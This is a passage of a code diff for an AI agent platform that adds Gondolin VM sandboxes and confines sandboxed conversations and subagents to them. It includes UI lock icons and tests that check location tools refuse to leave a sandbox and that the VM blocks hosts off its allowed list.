await backend.close({ key, target: target.id }, context);
return { result: { window, killed: true } };
}
@ -219,13 +237,15 @@ async function run(
async function readStart(
target: string,
backend: TerminalBackend,
reachable: <T extends { env: string | null }>(terminal: T) => T,
api: ToolExecutionApi,
context: Context,
): Promise<{ id: string; offset: number }> {
const known = await api.memo<{ id: string; offset: number }>("start", context);
if (known) return known;
const known = await api.memo<{ id: string; offset: number; env: string | null }>("start", context);
if (known) return reachable(known);
const { terminal, offset } = await backend.cursor(target, context);
return api.memo("start", { id: terminal.id, offset }, context);
reachable(terminal);
return api.memo("start", { id: terminal.id, offset, env: terminal.env }, context);
}
/** The wait a command asks for, or its default; none for `-w none`. */

View file

@ -2,12 +2,18 @@
// session's worker, at the calling conversation's location. It follows the code mode switch as MCP tools do: for
// scripts while code mode is on, loaded with `tool_search` while it is off.
import type { Extension, ToolExecutionApi } from "@earendil-works/pi-durable";
import type { Extension } from "@earendil-works/pi-durable";
import { type Context, type Ctx, contribute, defineFacet, expectVariant } from "@p2/app/v1";
import { ExtensionSwitches } from "@p2/app/v1/node";
import { Extensions, harnessOf, workerOf } from "@p2/app/v1/worker";
import { AgentTerminals } from "./contract.ts";
import { createTerminalExtension, TERMINAL_EXTENSION, type TerminalBackend, type TerminalReach } from "./tool.ts";
import {
createTerminalExtension,
TERMINAL_EXTENSION,
type TerminalBackend,
type TerminalCaller,
type TerminalReach,
} from "./tool.ts";
/** The code mode plugin's extension: its switch is on while the `codemode` setting is, absent without the plugin. */
const CODEMODE_EXTENSION = "codemode";
@ -31,10 +37,13 @@ export default defineFacet((host) => {
capture: (args, context) => via((server, ctx) => server.capture(args, ctx), context),
close: (args, context) => via((server, ctx) => server.close(args, ctx), context),
};
const locate = (api: ToolExecutionApi, context: Context) =>
harness().environments.locate(api.conversationId, context, api);
const caller: TerminalCaller = async (api, context) => {
const here = await harness().environments.locate(api.conversationId, context, api);
const sandbox = await harness().environments.sandbox(here.env);
return sandbox === undefined ? { here } : { here, sandbox };
};
const offer = (reach: TerminalReach) => ({
[TERMINAL_EXTENSION]: createTerminalExtension(reach, backend, locate),
[TERMINAL_EXTENSION]: createTerminalExtension(reach, backend, caller),
});
let offered: TerminalReach = "codemode";
const extension = self.writable<Readonly<Record<string, Extension>>>(offer(offered));

View file

@ -174,8 +174,13 @@ export type Machine = { at: (cwd: string) => ExecutionEnv; close: () => void };
export type HarnessEnvironmentEntry = {
/** The machine of the remote environment `env`. Connecting may wait for its first operation. */
open: (env: string) => Promise<Machine>;
/** The SSH host environment `env`'s tools run on, for the prompt's `cwd` section. */
readonly host?: (env: string) => Promise<string | undefined>;
/** Where environment `env`'s tools run, for the prompt's `cwd` section, e.g. `the SSH host gpu-box`. */
readonly describe?: (env: string) => Promise<string | undefined>;
/**
* Whether environment `env` is a sandbox, decided by its configuration's type (never its name): conversations
* working there cannot leave it. Cheap: read on every confinement check.
*/
readonly sandbox: (env: string) => boolean;
};
export const HarnessEnvironments = keyedRegistry<HarnessEnvironmentEntry>("p2.harness-environments");
@ -463,8 +468,25 @@ export type ExecutionEnvironments = {
locate(id: ConversationId, context: Context, read?: DocumentReader): Promise<Location>;
/** The environment at `location`: one per directory, on one connection per machine, opened at its first use. */
at(location: Location): Promise<ExecutionEnv>;
/** `env` itself when it is a sandbox (see `HarnessEnvironmentEntry.sandbox`), else undefined; this device never is. */
sandbox(env: string | null): Promise<string | undefined>;
};
/**
* The sandbox conversation `id` is confined to: the environment it works in, when that is a sandbox. Decided from its
* current location at each call, so it holds per conversation (a subagent placed in a sandbox is confined, its main
* agent elsewhere is not) and follows moves.
*/
export async function conversationConfinement(
environments: ExecutionEnvironments,
id: ConversationId,
context: Context,
read?: DocumentReader,
): Promise<{ sandbox: string } | undefined> {
const sandbox = await environments.sandbox((await environments.locate(id, context, read)).env);
return sandbox === undefined ? undefined : { sandbox };
}
/** Where conversation `id` works and its environment there. */
export async function conversationEnvironment(
environments: ExecutionEnvironments,
@ -486,6 +508,7 @@ export async function conversationEnvironment(
class Execution implements ExecutionEnvironments {
#session: Location;
readonly #open: (env: string | null, signal: AbortSignal) => Promise<Machine>;
readonly #sandbox: (env: string, signal: AbortSignal) => Promise<boolean>;
readonly #own: (
read: DocumentReader | undefined,
id: ConversationId,
@ -500,12 +523,18 @@ class Execution implements ExecutionEnvironments {
constructor(
session: Location,
open: (env: string | null, signal: AbortSignal) => Promise<Machine>,
sandbox: (env: string, signal: AbortSignal) => Promise<boolean>,
own: (read: DocumentReader | undefined, id: ConversationId, context: Context) => Promise<Location | undefined>,
) {
this.#session = session;
this.#open = open;
this.#sandbox = sandbox;
this.#own = own;
}
async sandbox(env: string | null): Promise<string | undefined> {
if (env === null) return undefined;
return (await this.#sandbox(env, this.#closing.signal)) ? env : undefined;
}
get session(): Location {
return this.#session;
}
@ -645,12 +674,15 @@ function openHarness(self: Self, init: WorkerInit, location: SessionLocation): H
const remote = await whenPresent(environments, "remote", signal);
return remote.open(env);
};
/** Whether a remote environment is a sandbox, once the plugin providing them is there. */
const sandbox = async (env: string, signal: AbortSignal): Promise<boolean> =>
(await whenPresent(environments, "remote", signal)).sandbox(env);
const place = async (harness: DurableHarness, at: Location, context: Context) =>
(await placements.value.get("subagents")?.place(harness, at, values, context)) ?? { followers: [], own: [] };
let reader: DocumentReader | undefined;
const execution: Native<Execution> = self.open(
async () => {
const created = new Execution(location.value, open, async (read, id, context) => {
const created = new Execution(location.value, open, sandbox, async (read, id, context) => {
const documents = read ?? reader;
if (!documents) throw new Error("The session's Harness is not open");
return placements.value.get("subagents")?.own(documents, id, context);

View file

@ -17,6 +17,7 @@ import {
BranchIcon,
ChevronIcon,
FolderIcon,
LockIcon,
MoonIcon,
PencilIcon,
PinIcon,
@ -294,6 +295,7 @@ export const Drawer = memo(function Drawer({
onEnvs,
onOwnerLink,
guest,
sandboxes,
}: {
onSearch?: (query: string, archived: boolean) => Promise<SearchResults>;
/** Restores an archived session and opens it (at `conversationId`, a message hit's). */
@ -316,6 +318,8 @@ export const Drawer = memo(function Drawer({
onEnvs: () => void;
onOwnerLink: () => void;
guest?: Grant;
/** Environments that are sandboxes (the owner's view): their groups show a lock. */
sandboxes?: ReadonlySet<string>;
}) {
const [query, setQuery] = useState("");
const [archived, setArchived] = useState(false);
@ -432,6 +436,11 @@ export const Drawer = memo(function Drawer({
<section key={location} className="group">
<h3 title={first ? `${first.env ? `${first.env}:` : ""}${first.cwd}` : location}>
<FolderIcon />
{first?.env && sandboxes?.has(first.env) && (
<span className="group-lock" title="Sandbox">
<LockIcon size={12} />
</span>
)}
<span className="group-label">{location}</span>
{onNewIn && !archived && first && (
<button

View file

@ -94,6 +94,13 @@ export const FolderIcon = ({ size = 16 }: { size?: number }) => (
<path d="M3 7a2 2 0 0 1 2-2h4l2 2h8a2 2 0 0 1 2 2v8a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2z" />
</Icon>
);
/** A padlock: a sandboxed environment. */
export const LockIcon = ({ size = 14 }: { size?: number }) => (
<Icon size={size}>
<rect x="5" y="11" width="14" height="10" rx="2" />
<path d="M8 11V7a4 4 0 0 1 8 0v4" />
</Icon>
);
/** A window with a prompt. */
export const TerminalIcon = ({ size = 15 }: { size?: number }) => (
<Icon size={size}>

View file

@ -3787,3 +3787,13 @@ button.history-edge:disabled {
color: var(--muted);
overflow-wrap: anywhere;
}
/* The lock of a sandboxed location: in the top bar's location line and on sidebar groups. */
.title-lock {
display: inline-flex;
margin-right: 3px;
vertical-align: -1px;
}
.group-lock {
display: inline-flex;
}

View file

@ -282,7 +282,7 @@ test(
assert(trusted.ok, trusted.ok ? "" : trusted.error);
assert.equal(trusted.home, home);
// The folder picker warms every environment's connection first (Pi Mobile's `envs` with `warm`).
assert.equal(await envs.warm(BACKGROUND_CONTEXT), undefined);
assert.equal(await envs.warm(BACKGROUND_CONTEXT), null);
assert.equal((await envs.listDirectory({ env: "box", path: "~" }, BACKGROUND_CONTEXT)).path, home);
const uploadedKey = await envs.uploadKey(
{ name: "copy", key: readFileSync(key.identityFile, "utf8") },
@ -411,9 +411,10 @@ test(
await chat.send({ text: "slow-tool", requestId: "ssh-busy-edit" }, BACKGROUND_CONTEXT);
await until(chat.view, (view) => JSON.stringify(view).includes("tool-running"));
await until(status.statuses, (statuses) => (statuses?.[session.id]?.tasks ?? 0) > 0);
const saved = (await envs.list(BACKGROUND_CONTEXT))[0]!;
const saved = (await envs.list(BACKGROUND_CONTEXT))[0]!.config;
assert.equal(saved.type, "ssh");
await envs.save(
{ name: "box", config: { ...saved.config, shellEnv: { P2_TEST_ENV_REVISION: "edited" } } },
{ name: "box", config: { ...saved, shellEnv: { P2_TEST_ENV_REVISION: "edited" } } },
BACKGROUND_CONTEXT,
);
await until(chat.view, (view) => results(view, "bash").some((text) => text.includes("tool-finished")), 60000);

View file

@ -5,7 +5,7 @@
import assert from "node:assert/strict";
import { test } from "node:test";
import { Connection } from "@earendil-works/pi-env";
import type { EnvConfig } from "../../plugins/envs/config.ts";
import { type EnvConfig, envRevision } from "../../plugins/envs/config.ts";
import { EnvConnections } from "../../plugins/mcp/environments.ts";
const GPU: EnvConfig = { type: "ssh", host: "gpu.example" };
@ -24,10 +24,10 @@ test("users of one environment share its connection; the last release closes it"
opened.push(name);
return new Connection({ command: ["/nonexistent/pi-env"] });
});
const first = envs.acquire("gpu", GPU);
const second = envs.acquire("gpu", GPU);
const first = envs.acquire("gpu", GPU, envRevision(GPU));
const second = envs.acquire("gpu", GPU, envRevision(GPU));
assert.equal(second.connection, first.connection);
const other = envs.acquire("box", GPU);
const other = envs.acquire("box", GPU, envRevision(GPU));
assert.notEqual(other.connection, first.connection);
assert.deepEqual(opened, ["gpu", "box"]);
first.release();
@ -37,7 +37,7 @@ test("users of one environment share its connection; the last release closes it"
assert.equal(await isClosed(other.connection), false);
other.release();
// A new user after the last one opens a new connection.
const again = envs.acquire("gpu", GPU);
const again = envs.acquire("gpu", GPU, envRevision(GPU));
assert.notEqual(again.connection, first.connection);
assert.deepEqual(opened, ["gpu", "box", "gpu"]);
again.release();
@ -45,8 +45,8 @@ test("users of one environment share its connection; the last release closes it"
test("an edited environment is another connection; the old one stays for its users until they release it", async () => {
const envs = new EnvConnections(() => new Connection({ command: ["/nonexistent/pi-env"] }));
const before = envs.acquire("gpu", GPU);
const after = envs.acquire("gpu", EDITED);
const before = envs.acquire("gpu", GPU, envRevision(GPU));
const after = envs.acquire("gpu", EDITED, envRevision(EDITED));
assert.notEqual(after.connection, before.connection);
before.release();
assert.equal(await isClosed(before.connection), true);

View file

@ -102,7 +102,8 @@ async function worker(t: test.TestContext, start: Location, machines: Record<str
close: () => closed.push(env),
};
},
host: async (env) => env,
describe: async (env) => `the test machine ${env}`,
sandbox: () => false,
},
}),
);

View file

@ -50,10 +50,10 @@ for (const via of ["token", "relay", "proxy"] as const)
assert.equal(stored.identityFile, join(fixture.dataDir, "ssh", "keys", "box"));
assert.equal(await readFile(stored.identityFile, "utf8"), key);
assert.equal((await stat(stored.identityFile)).mode & 0o777, 0o600);
const published = await until(
envs.envs,
(entries) => entries?.[0]?.config.identityFile === stored.identityFile,
);
const published = await until(envs.envs, (entries) => {
const config = entries?.[0]?.config;
return config?.type === "ssh" && config.identityFile === stored.identityFile;
});
assert(!JSON.stringify(published).includes("PRIVATE KEY"));
await assert.rejects(envs.uploadKey({ name: "box", key: "invalid" }, BACKGROUND_CONTEXT), /private key/i);
await assert.rejects(envs.uploadKey({ name: "box", key: "PRIVATE KEY".repeat(2000) }, BACKGROUND_CONTEXT));

View file

@ -0,0 +1,497 @@
// Gondolin sandboxes (plugins/envs, type "gondolin"): their configuration, the launcher's arguments, and confinement:
// a conversation working in a sandbox cannot leave it through the location tools, subagent placement or one-shot agents.
// The VM itself runs only with P2_TEST_GONDOLIN=1 (it needs /dev/kvm and QEMU >= 7.2 or Docker, and downloads the guest
// image on first use), with pi-env's Linux daemon for this machine (static: the guest is Alpine) from P2_TEST_DAEMON or
// pi-env's package.
import assert from "node:assert/strict";
import { type ChildProcess, execFileSync, spawn } from "node:child_process";
import { copyFileSync, existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs";
import { createServer, Socket } from "node:net";
import { homedir, tmpdir, userInfo } from "node:os";
import { join } from "node:path";
import { test } from "node:test";
import { fileURLToPath } from "node:url";
import type {
ConversationId,
ConversationView,
DocumentReader,
ToolExecutionApi,
ToolExecutionResult,
} from "@earendil-works/pi-durable";
import { Connection, localDaemon, RemoteExecutionEnv } from "@earendil-works/pi-env";
import { compile } from "@earendil-works/pi-schema";
import { BACKGROUND_CONTEXT, type Location } from "@p2/app/v1";
import { WebSocket } from "ws";
import { Chat } from "../../plugins/chat/contract.ts";
import {
type EnvsConfig,
envRevision,
isSandbox,
loadEnvs,
parseEnvs,
saveEnv,
validateEnv,
} from "../../plugins/envs/config.ts";
import { connectionRevision } from "../../plugins/envs/connection-revision.ts";
import { Envs } from "../../plugins/envs/contract.ts";
import { remoteSession } from "../../plugins/envs/remote-env.ts";
import {
launcherId,
runLauncher,
sandboxArgument,
sandboxKey,
sandboxRevision,
} from "../../plugins/envs/sandbox-host.ts";
import { LauncherCheckSchema } from "../../plugins/envs/sandbox-schema.ts";
import type { EnvInfo } from "../../plugins/locations/contract.ts";
import { createLocationExtension, sandboxAt } from "../../plugins/locations/tool.ts";
import { Sessions } from "../../plugins/sessions/contract.ts";
import { InheritedLocation, Subagents } from "../../plugins/subagents/contract.worker.ts";
import { ownLocation, placeTarget, type SubagentLocator } from "../../plugins/subagents/tools.ts";
import { Terminals } from "../../plugins/terminals/contract.ts";
import type { TerminalEvent } from "../../plugins/terminals/protocol.ts";
import { conversationConfinement, type ExecutionEnvironments } from "../../src/runtime/worker.ts";
import { holdIn, poll, startFixture, until } from "./helpers.ts";
const slayer = { type: "ssh" as const, host: "slayer.example" };
const box = {
type: "gondolin" as const,
host: "slayer",
mounts: [{ host: "~/sbx/box1", guest: "/workspace" }],
allowHosts: ["registry.npmjs.org", "*.github.com"],
};
const envs: EnvsConfig = { slayer, box1: box };
const sandboxDir = new URL("../../plugins/envs/sandbox/", import.meta.url);
test("sandbox configuration: validated alone and against its host", async () => {
assert.deepEqual(validateEnv(box), box);
for (const mounts of [
[{ host: "relative/path", guest: "/w" }],
[{ host: "~/a", guest: "relative" }],
[{ host: "~/a", guest: "/" }],
[{ host: "~/a", guest: "/w/../etc" }],
[
{ host: "~/a", guest: "/w" },
{ host: "~/b", guest: "/w" },
],
])
assert.throws(() => validateEnv({ ...box, mounts }), /folder|sandbox|Two folders|configuration/i);
assert.throws(() => validateEnv({ ...box, allowHosts: ["a b"] }), /allowed host/);
assert.throws(() => validateEnv({ ...box, host: "Not An Env" }), /host environment/);
assert.throws(() => validateEnv({ ...box, image: "-rf" }), /image/);
// SSH fields are not part of a sandbox: its connection goes through its host.
assert.throws(() => validateEnv({ ...box, user: "root" }), /configuration/);
assert.throws(() => parseEnvs(JSON.stringify({ box1: box })), /not an SSH environment/);
assert.throws(() => parseEnvs(JSON.stringify({ other: box, slayer: { ...box, host: "other" } })), /not an SSH/);
assert.deepEqual(parseEnvs(JSON.stringify(envs)), envs);
assert.equal(isSandbox(envs, "box1"), true);
assert.equal(isSandbox(envs, "slayer"), false);
assert.equal(isSandbox(envs, "constructor"), false);
const directory = mkdtempSync(join(tmpdir(), "p2-sandbox-config-"));
try {
await assert.rejects(saveEnv(directory, "box1", box), /not an SSH environment/);
await saveEnv(directory, "slayer", slayer);
await saveEnv(directory, "box1", box);
await assert.rejects(saveEnv(directory, "slayer", undefined), /Sandboxes run on "slayer": box1/);
await saveEnv(directory, "box1", undefined);
await saveEnv(directory, "slayer", undefined);
assert.deepEqual(await loadEnvs(directory), {});
const session = remoteSession(directory, "box1", box, "/workspace");
assert.equal(session.remote(), undefined, "constructing a sandbox session never connects");
assert.equal(session.env.cwd, "/workspace");
session.connection.close();
} finally {
rmSync(directory, { recursive: true, force: true });
}
});
test("a sandbox's connection revision follows its host's configuration too", () => {
const before = connectionRevision(envs, box);
assert.equal(connectionRevision(envs, box), before);
assert.notEqual(connectionRevision({ ...envs, slayer: { ...slayer, port: 2222 } }, box), before);
assert.notEqual(connectionRevision(envs, { ...box, cpus: 4 }), before);
assert.equal(connectionRevision(envs, slayer), envRevision(slayer));
});
test("launcher arguments: allowed hosts are always a list, values are quoted", () => {
const decode = (config: typeof box) => JSON.parse(Buffer.from(sandboxArgument(config), "base64").toString("utf8"));
// Gondolin allows every host when the list is omitted: an unset list must reach it as an empty one.
assert.deepEqual(decode({ ...box, allowHosts: undefined } as unknown as typeof box).allowHosts, []);
assert.deepEqual(decode(box), { mounts: box.mounts, allowHosts: box.allowHosts });
assert.notEqual(sandboxRevision(box), sandboxRevision({ ...box, allowHosts: [] }));
assert.equal(runLauncher("/home/a b", ["daemon", "it's"]), `sh '/home/a b/p2-sandbox.sh' 'daemon' 'it'\\''s'`);
});
test("p2-sandbox.sh check reports the host as the manager expects", () => {
const report: unknown = JSON.parse(
execFileSync("sh", [new URL("p2-sandbox.sh", sandboxDir).pathname, "check"], { encoding: "utf8" }),
);
assert(compile(LauncherCheckSchema).check(report), JSON.stringify(report));
});
const infos: EnvInfo[] = [
{ name: "slayer", type: "ssh", host: "slayer.example" },
{ name: "box1", type: "gondolin", host: "slayer" },
];
const text = (result: ToolExecutionResult) =>
(result.output ?? []).map((part) => (part.type === "text" ? part.text : "")).join("");
test("location tools keep a sandboxed conversation in its sandbox", async () => {
assert.equal(sandboxAt({ env: "box1", cwd: "/workspace" }, infos), "box1");
assert.equal(sandboxAt({ env: "slayer", cwd: "/" }, infos), undefined);
assert.equal(sandboxAt({ env: null, cwd: "/" }, infos), undefined);
const listed: (string | null)[] = [];
const extension = createLocationExtension({
server: {
envs: async () => infos,
directories: async (env, path) => {
listed.push(env);
return { path, parent: null, directories: [`${path}/src`], truncated: false };
},
},
locate: async () => ({ env: "box1", cwd: "/workspace" }),
});
const tool = (name: string) => {
const found = extension.tools?.find((each) => each.name === name);
assert(found);
return found;
};
// The refusals come before anything reads the conversation's documents.
const api = { conversationId: 2 as ConversationId } as unknown as ToolExecutionApi;
const envsText = text(await tool("location_envs").execute({}, api, BACKGROUND_CONTEXT));
assert.match(envsText, /in sandbox box1/);
assert.match(envsText, /cannot leave it/);
assert.doesNotMatch(envsText, /slayer\.example|this device/);
for (const args of [{ location: "slayer:/home" }, { location: "local:/tmp" }, { env: null, cwd: "/tmp" }]) {
for (const name of ["location_dirs", "location_move"]) {
const result = await tool(name).execute(args, api, BACKGROUND_CONTEXT);
assert.equal(result.isError, true, `${name} ${JSON.stringify(args)}`);
assert.match(text(result), /sandbox box1 and cannot leave it/);
}
}
assert.deepEqual(listed, [], "nothing outside the sandbox was even listed");
const inside = await tool("location_dirs").execute({ location: "/workspace" }, api, BACKGROUND_CONTEXT);
assert.equal(inside.isError, false);
assert.match(text(inside), /box1:\/workspace/);
assert.deepEqual(listed, ["box1"]);
});
test("a sandboxed caller places subagents only in its sandbox", async () => {
const locator: SubagentLocator = {
locate: async () => ({ env: "box1", cwd: "/workspace" }),
sandbox: async (location) => (location.env === "box1" ? "box1" : undefined),
directory: async (target) => ({ env: target.env, cwd: target.path || "/workspace" }),
};
const caller: Location = { env: "box1", cwd: "/workspace" };
for (const args of [{ env: "slayer" }, { env: null }, { env: null, cwd: "/tmp" }])
assert.match(String(await placeTarget(locator, caller, args, BACKGROUND_CONTEXT)), /only work inside it/);
assert.deepEqual(await placeTarget(locator, caller, { cwd: "/workspace/a" }, BACKGROUND_CONTEXT), {
env: "box1",
cwd: "/workspace/a",
});
// An unsandboxed caller may place a subagent in a sandbox (which then confines that subagent).
assert.deepEqual(await placeTarget(locator, { env: "slayer", cwd: "/" }, { env: "box1" }, BACKGROUND_CONTEXT), {
env: "box1",
cwd: "/workspace",
});
});
test("confinement is decided per conversation from its location; one-shot agents inherit their caller's", async () => {
const at: Record<number, Location> = { 1: { env: "slayer", cwd: "/" }, 2: { env: "box1", cwd: "/workspace" } };
const environments = {
session: at[1],
locate: async (id: ConversationId) => at[Number(id)] ?? at[1],
sandbox: async (env: string | null) => (env !== null && isSandbox(envs, env) ? env : undefined),
} as unknown as ExecutionEnvironments;
assert.equal(await conversationConfinement(environments, 1 as ConversationId, BACKGROUND_CONTEXT), undefined);
assert.deepEqual(await conversationConfinement(environments, 2 as ConversationId, BACKGROUND_CONTEXT), {
sandbox: "box1",
});
const docs = new Map<string, unknown>([
[`${Subagents.definition.kind}:1`, { agents: { worker: { conversationId: 2, location: at[2] } }, reporters: {} }],
[`${InheritedLocation.definition.kind}:3`, { location: at[2] }],
]);
const read = {
snapshot: async (token: { definition: { kind: string } }, key: unknown) =>
docs.get(`${token.definition.kind}:${String(key)}`),
} as unknown as DocumentReader;
assert.deepEqual(await ownLocation(read, 2 as ConversationId, BACKGROUND_CONTEXT), at[2]);
assert.deepEqual(await ownLocation(read, 3 as ConversationId, BACKGROUND_CONTEXT), at[2], "a one-shot agent's");
assert.equal(await ownLocation(read, 4 as ConversationId, BACKGROUND_CONTEXT), undefined);
});
test(
"the launcher runs pi-env in a Gondolin VM with its folders and allowed hosts only",
{ skip: process.env.P2_TEST_GONDOLIN !== "1", timeout: 900_000 },
async (t) => {
const daemon = process.env.P2_TEST_DAEMON ?? localDaemon();
if (!existsSync(daemon)) return t.skip(`no pi-env daemon at ${daemon}`);
// Under the home directory: in Docker, the launcher shares only the home with its container.
mkdirSync(join(homedir(), ".cache"), { recursive: true });
const home = mkdtempSync(join(homedir(), ".cache", "p2-gondolin-test-"));
// Named as p2 deploys it: in Docker the image is tagged with it, and another name would replace the container.
const launcher = join(home, launcherId(fileURLToPath(sandboxDir)));
mkdirSync(launcher);
for (const name of ["p2-sandbox.sh", "p2-sandbox.mjs", "Dockerfile"])
copyFileSync(new URL(name, sandboxDir), join(launcher, name));
copyFileSync(new URL("host-package.json", sandboxDir), join(launcher, "package.json"));
copyFileSync(new URL("host-package-lock.json", sandboxDir), join(launcher, "package-lock.json"));
const shared = join(home, "shared");
mkdirSync(shared);
writeFileSync(join(shared, "hello.txt"), "from the host\n");
const config = { ...box, host: "unused", mounts: [{ host: shared, guest: "/workspace" }], allowHosts: [] };
const name = `test-${process.pid}`;
// As p2 does: start first (a first start installs and boots for longer than pi-env waits for its daemon).
execFileSync("sh", [join(launcher, "p2-sandbox.sh"), "start", name, sandboxArgument(config)], {
timeout: 660_000,
});
const connection = new Connection({
command: ["sh", join(launcher, "p2-sandbox.sh"), "daemon", name, sandboxArgument(config), daemon, "--"],
});
t.after(() => {
connection.close();
execFileSync("sh", [join(launcher, "p2-sandbox.sh"), "stop", name]);
rmSync(home, { recursive: true, force: true });
rmSync(join(homedir(), ".pi", "p2", "sandbox", "run", name), { recursive: true, force: true });
});
const info = await connection.info();
assert.equal(info.os, "linux");
const env = new RemoteExecutionEnv({ connection, id: "sandbox-test", cwd: "/workspace" });
const read = await env.readTextFile("/workspace/hello.txt", BACKGROUND_CONTEXT);
assert.deepEqual(read, { ok: true, value: "from the host\n" });
const wrote = await env.writeFile("/workspace/made.txt", "from the vm\n", BACKGROUND_CONTEXT);
assert.equal(wrote.ok, true);
assert.equal(readFileSync(join(shared, "made.txt"), "utf8"), "from the vm\n");
const outside = await env.fileInfo(home, BACKGROUND_CONTEXT);
assert.equal(outside.ok, false, "the host's other files are not in the VM");
let output = "";
const curl = await env.exec(
"curl -s -o /dev/null -w '%{http_code}' https://example.com",
{
cwd: "/workspace",
onOutput: (chunk) => {
output += chunk;
},
},
BACKGROUND_CONTEXT,
);
assert.equal(curl.ok, true);
assert.equal(output, "403", "hosts outside the allowed list are refused");
// Refused before the host resolves the name (else it leaks to DNS): an unresolvable name gets the policy's 403,
// not the 502 of a failed lookup.
output = "";
await env.exec(
"curl -s -o /dev/null -w '%{http_code}' http://leak-check.p2-sandbox.invalid/",
{
cwd: "/workspace",
onOutput: (chunk) => {
output += chunk;
},
},
BACKGROUND_CONTEXT,
);
assert.equal(output, "403");
},
);
const sshd = ["/usr/sbin/sshd", "/usr/bin/sshd"].find((path) => existsSync(path));
async function freePort(): Promise<number> {
return new Promise((resolve) => {
const server = createServer().listen(0, "127.0.0.1", () => {
const port = (server.address() as { port: number }).port;
server.close(() => resolve(port));
});
});
}
test(
"a session works in a sandbox on an SSH environment, and cannot leave it",
{
skip:
process.env.P2_TEST_GONDOLIN !== "1"
? "P2_TEST_GONDOLIN is not 1"
: !sshd
? "no local sshd"
: !existsSync(localDaemon())
? `no packaged pi-env daemon at ${localDaemon()}`
: false,
timeout: 900_000,
},
async (t) => {
// A loopback sshd as this user with the real home: in Docker the launcher shares the home with its container, and
// the guest image cache is reused.
mkdirSync(join(homedir(), ".cache"), { recursive: true });
const root = mkdtempSync(join(homedir(), ".cache", "p2-sandbox-ssh-"));
const port = await freePort();
execFileSync("ssh-keygen", ["-q", "-t", "ed25519", "-N", "", "-f", join(root, "host_key")]);
writeFileSync(join(root, "authorized_keys"), "");
writeFileSync(
join(root, "sshd_config"),
[
`Port ${port}`,
"ListenAddress 127.0.0.1",
`HostKey ${join(root, "host_key")}`,
`AuthorizedKeysFile ${join(root, "authorized_keys")}`,
`PidFile ${join(root, "sshd.pid")}`,
"PasswordAuthentication no",
"KbdInteractiveAuthentication no",
"StrictModes no",
"",
].join("\n"),
);
const server: ChildProcess = spawn(sshd!, ["-D", "-e", "-f", join(root, "sshd_config")], { stdio: "ignore" });
const fixture = await startFixture();
const owner = fixture.browser();
const envs = owner.hold(Envs, {}, BACKGROUND_CONTEXT);
t.after(async () => {
await envs.sandboxStop({ name: "sbx" }, BACKGROUND_CONTEXT).catch(() => {});
for (const sandbox of ["sbx", "spare"])
rmSync(join(homedir(), ".pi", "p2", "sandbox", "run", sandboxKey(fixture.dataDir, sandbox)), {
recursive: true,
force: true,
});
await fixture.close();
server.kill();
rmSync(root, { recursive: true, force: true });
});
await poll(
() =>
new Promise<boolean>((resolve) => {
const socket = new Socket();
socket.once("connect", () => resolve(Boolean(socket.destroy())));
socket.once("error", () => resolve(false));
socket.connect(port, "127.0.0.1");
}),
10_000,
"local sshd",
);
const key = await envs.generateKey({ name: "host" }, BACKGROUND_CONTEXT);
writeFileSync(join(root, "authorized_keys"), `${key.publicKey}\n`);
const host = { type: "ssh" as const, host: "127.0.0.1", port, user: userInfo().username };
await envs.save({ name: "host", config: { ...host, identityFile: key.identityFile } }, BACKGROUND_CONTEXT);
const untrusted = await envs.test({ name: "host" }, BACKGROUND_CONTEXT);
assert(!untrusted.ok && untrusted.hostKey);
await envs.acceptHostKey({ name: "host", lines: untrusted.hostKey.lines }, BACKGROUND_CONTEXT);
const tested = await envs.test({ name: "host" }, BACKGROUND_CONTEXT);
assert(tested.ok, JSON.stringify(tested));
assert(tested.sandboxes && tested.sandboxes.runtime !== "none", JSON.stringify(tested.sandboxes));
const shared = join(root, "shared");
mkdirSync(shared);
writeFileSync(join(shared, "hello.txt"), "from the host\n");
const sandbox = { type: "gondolin" as const, host: "host", mounts: [{ host: shared, guest: "/workspace" }] };
await envs.save({ name: "sbx", config: sandbox }, BACKGROUND_CONTEXT);
await envs.sandboxStop({ name: "sbx" }, BACKGROUND_CONTEXT);
assert.deepEqual(await envs.sandboxStatus({ name: "sbx" }, BACKGROUND_CONTEXT), { state: "stopped" });
// Deleting a sandbox stops its VM first: nothing could stop it once its configuration is gone.
await envs.save({ name: "spare", config: sandbox }, BACKGROUND_CONTEXT);
await envs.sandboxStart({ name: "spare" }, BACKGROUND_CONTEXT);
await envs.delete({ name: "spare" }, BACKGROUND_CONTEXT);
assert(
!existsSync(join(homedir(), ".pi", "p2", "sandbox", "run", sandboxKey(fixture.dataDir, "spare"), "sock")),
"the VM's supervisor is gone",
);
const vm = await envs.test({ name: "sbx" }, BACKGROUND_CONTEXT);
assert(vm.ok && vm.platform === "linux", JSON.stringify(vm));
const running = await envs.sandboxStatus({ name: "sbx" }, BACKGROUND_CONTEXT);
assert(running.state === "running" && running.current, JSON.stringify(running));
const listing = await envs.listDirectory({ env: "sbx", path: "/" }, BACKGROUND_CONTEXT);
assert(listing.directories.includes("/workspace"), JSON.stringify(listing));
const sessions = await holdIn(owner, Sessions, {}, "owner");
const session = (await sessions.create({ env: "sbx", cwd: "/workspace" }, BACKGROUND_CONTEXT)).id;
const chat = await holdIn(owner, Chat, { session, conversation: 1 }, "participant");
const output = (view: ConversationView | null | undefined) =>
(view?.entries ?? [])
.flatMap((entry) => entry.model ?? [])
.flatMap((message) => (message.role === "toolResult" ? message.content : []))
.map((part) => (part.type === "text" ? part.text : ""))
.join("\n");
const script = 'return (await tools.bash({ command: "cat hello.txt; echo made > made.txt; uname -s" })).output;';
await chat.send({ text: `codemode ${script}`, requestId: "sandbox-bash" }, BACKGROUND_CONTEXT);
await until(chat.view, (view) => /from the host[\s\S]*Linux/.test(output(view)), 120_000);
assert.equal(readFileSync(join(shared, "made.txt"), "utf8"), "made\n");
await chat.send(
{ text: `location_move ${JSON.stringify({ location: "host:/tmp" })}`, requestId: "sandbox-leave" },
BACKGROUND_CONTEXT,
);
await until(chat.view, (view) => output(view).includes("sandbox sbx and cannot leave it"), 60_000);
chat.release();
// A session outside places a subagent in the sandbox; configure cannot take it out again.
const outside = (await sessions.create({ env: "host", cwd: root }, BACKGROUND_CONTEXT)).id;
const main = await holdIn(owner, Chat, { session: outside, conversation: 1 }, "participant");
const spawnArgs = {
action: "spawn",
name: "boxed",
message: "hi",
env: "sbx",
cwd: "/workspace",
tools: ["bash"],
};
await main.send(
{ text: `subagent ${JSON.stringify(spawnArgs)}`, requestId: "sandbox-spawn" },
BACKGROUND_CONTEXT,
);
